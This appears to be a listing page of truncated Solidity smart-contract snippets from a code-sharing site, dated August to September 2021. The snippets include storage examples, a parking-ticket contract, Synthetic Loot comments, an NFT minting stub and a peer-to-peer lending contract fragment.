        require(msg.sender == admin,"only Admin has the access");
        _;
    }
    
    /**
    Only the factory contract is given the access
    **/
    modifier onlyFactory(){
        require(msg.sender == factory,"only Factory Contract has the access");
        _;
    }


    /********* MAPPING *********/
    
    /**
    IP address of a sensor is recorded corresponding to its address
    **/
    mapping( address => string ) SensorDetails;
    
    
    /********* FUNCTIONS *********/
    
    /**
    Set the factory address by the admin
    **/
    
    function setFactory(address _factory) 
Sep 07, 2021 10:51:04 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Sep 07, 2021 05:26:27 UTC
// SPDX-License-Identifier: GPL-3.0
pragma solidity  >=0.8.0 <0.9.0;
/// @title Parking ticket contract.

contract ParkingTicket {
    string licenseplate;
    uint balance;
    uint public created;
    address payable propertyowner;


    // Events
    event Paidfully(address from, address to, uint amount);

    // Errors
    error OverPaid(address payer, uint available);
    
    constructor(
        uint price,
        string memory _licenseplate,
        address payable _propertyowner
    ) {
        balance = price;
        licenseplate = _licenseplate;
        created = block.timestamp;
        propertyowner = _propertyowner;
    }

    
    function payoff(address sender, uint amount) public {
        if(amount > balance){
            revert OverPaid({
                payer: sender,
                available: balance
            });
        }
        
        balance -= amount;
        
        if(balance == 0) {
            emit Paidfully( sender, propertyowner, amount);
        }
    }
    
    
    
Sep 06, 2021 18:38:09 UTC
/**
 *Submitted for verification at Etherscan.io on 2021-09-01
*/

// SPDX-License-Identifier: Unlicense

/*

    Synthetic Loot
    
    This contract creates a "virtual NFT" of Loot based
    on a given wallet address. 
    
    Because the wallet address is used as the deterministic 
    seed, there can only be one Loot bag per wallet. 
    
    Because it's not a real NFT, there is no 
    minting, transferability, etc.
    
    Creators building on top of Loot can choose to recognize 
    Synthetic Loot as a way to allow a wider range of 
    adventurers to participate in the ecosystem, while
    still being able to differentiate between 
    "original" Loot and Synthetic Loot.
    
    Anyone with an Ethereum wallet has Synthetic Loot.
    
    -----
    
    Also optionally returns data in LootComponents format:
    
    Call weaponComponents(), chestComponents(), etc. to get 
    an array of attributes that correspond to the item. 
    
    The return format is:
    
    uint256[5] =>
        [0] = It
Sep 06, 2021 16:53:00 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Sep 03, 2021 08:11:16 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;


contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Sep 01, 2021 23:55:46 UTC
pragma solidity ^0.7.0;
contract SimpleStore {
      struct VaultRegistry {
        IERC20[] tokens;
        uint block;
        uint256 index;
    }

    mapping (address => VaultRegistry) private _vaultInfo;
    address[] private _vaultIndex;

   function getVaultsForToken(IERC20 _token) public view returns (address[] memory) {
        uint256 curResults = 0;
        uint256 numResults = 0;
 
        for (uint256 vid = 0; vid < _vaultIndex.length; vid++) {
            for (uint t = 0; t < _vaultInfo[_vaultIndex[vid]].tokens.length; t++) {
                if (_vaultInfo[_vaultIndex[vid]].tokens[t] == _token) {
                    numResults++;
                }
            }
        }
 
        address[] memory vaultResults = new address[](numResults);
        for (uint256 vid = 0; vid < _vaultIndex.length; vid++) {
            for (uint t = 0; t < _vaultInfo[_vaultIndex[vid]].tokens.length; t++) {
                if (_vaultInfo[_vaultIndex[vid]].tokens[t] == _token) {
                    vaultResults[curRes
Sep 01, 2021 15:16:52 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

  function getAction(uint256 tokenId) public view returns (string memory) {
        uint256 rand = random(string(toString(tokenId)));
        if (rand % 21 == 0) {
            return rareActions[rand % rareActions.length];
        } else {
            return actions[rand % actions.length];
        }
  }

  function random(string memory input) internal pure returns (uint256) {
        return uint256(keccak256(abi.encodePacked(input)));
  }
Sep 01, 2021 10:16:22 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity 0.4.18;
contract MyContract{
    Person[] public people;
struct Person{
string _firstname;
string _lastname;
}
function addPerson (string memory _firstname,string memory _lastname)public {
    people.push(Person(_firstname , _lastname));
}
Aug 31, 2021 19:40:58 UTC
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;


contract MintNFTX is Context {

    NFTX public _nftxVault; 

    constructor(address _vaultAddress){
        _nftxVault = NFTX(_vaultAddress);
    }

    function _buy(uint256 _tokenId) private {

        //THIS FUNCTION SUCCESSFULLY PURCHASES THE NFT AND IT IS OWNED BY THIS CONTRACT

    }

    function _mintNFTX(uint256 _tokenId) private {

        uint256[] memory nftIds = new uint256[](1);
        nftIds[0] = _tokenId;
        
        uint256[] memory amounts = new uint256[](1);
        amounts[0] = 1;

        console.log("Minting to vault");

        _nftxVault.mint(nftIds, amounts);

        console.log("Minting success");

    }

    function buyAndMint() public payable {

        console.log("begin buyAndDeposit");

        payable(this).transfer(msg.value);
        
        console.log("Balance: %s gwei", address(this).balance);

        //Hard code tokenId for now
        uint256 tokenId = 72522;

        //Buy from NFT contract
        _
Aug 31, 2021 18:15:16 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity 0.4.23;

contract MyContract{
    Person[] public people;
}
struct Person
{
    string _firstname;
    string _lastname;
}
function addPerson(string memorry _firstname,string memory _lastname) public{
    people.push();
Aug 31, 2021 12:09:22 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity 0.4.23;

contract MyContract{
    string value;

constructor() public{
value = "myValue";
}

function get()public view returns(string memory ){
return value;
}
function  set(string memory _value) public{
value = _value;
}
Aug 31, 2021 11:42:53 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.23;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Aug 31, 2021 11:37:40 UTC
pragma solidity ^0.4.0;

contract P2Pcontract {

  //Global Variables
  Borrower[] borrowers; //An array that will hold all of our borrowers 
  uint totalNumBorrowers; //Keep track of the total number of borrowers we have 
  uint borrowerIdCounter; //Keep track of the borrowerIds --> increment everytime we add a new borrower
  Investor[] investors; //An array that will hold all of our investors
  uint totalNumInvestors; //Keep track of the total number of investors that we have
  uint investorIdCounter; //Helps create the investorId so that we can keep track of them


  //Mappings 
  mapping (uint => address) borrowerToOwner; //Lookup borrower address from their id 
  mapping(address => uint) BorrowerAddress2Id; //Lookup borrower id based on their address
  mapping (address => Borrower) borrower; //take an address and get the Borrower struct
  mapping (uint => address) investorToOwner; // take an id from our investors arrray and get the address of the investor
  mapping (address => uint) InvestorAddress2Id; /
Aug 30, 2021 17:18:21 UTC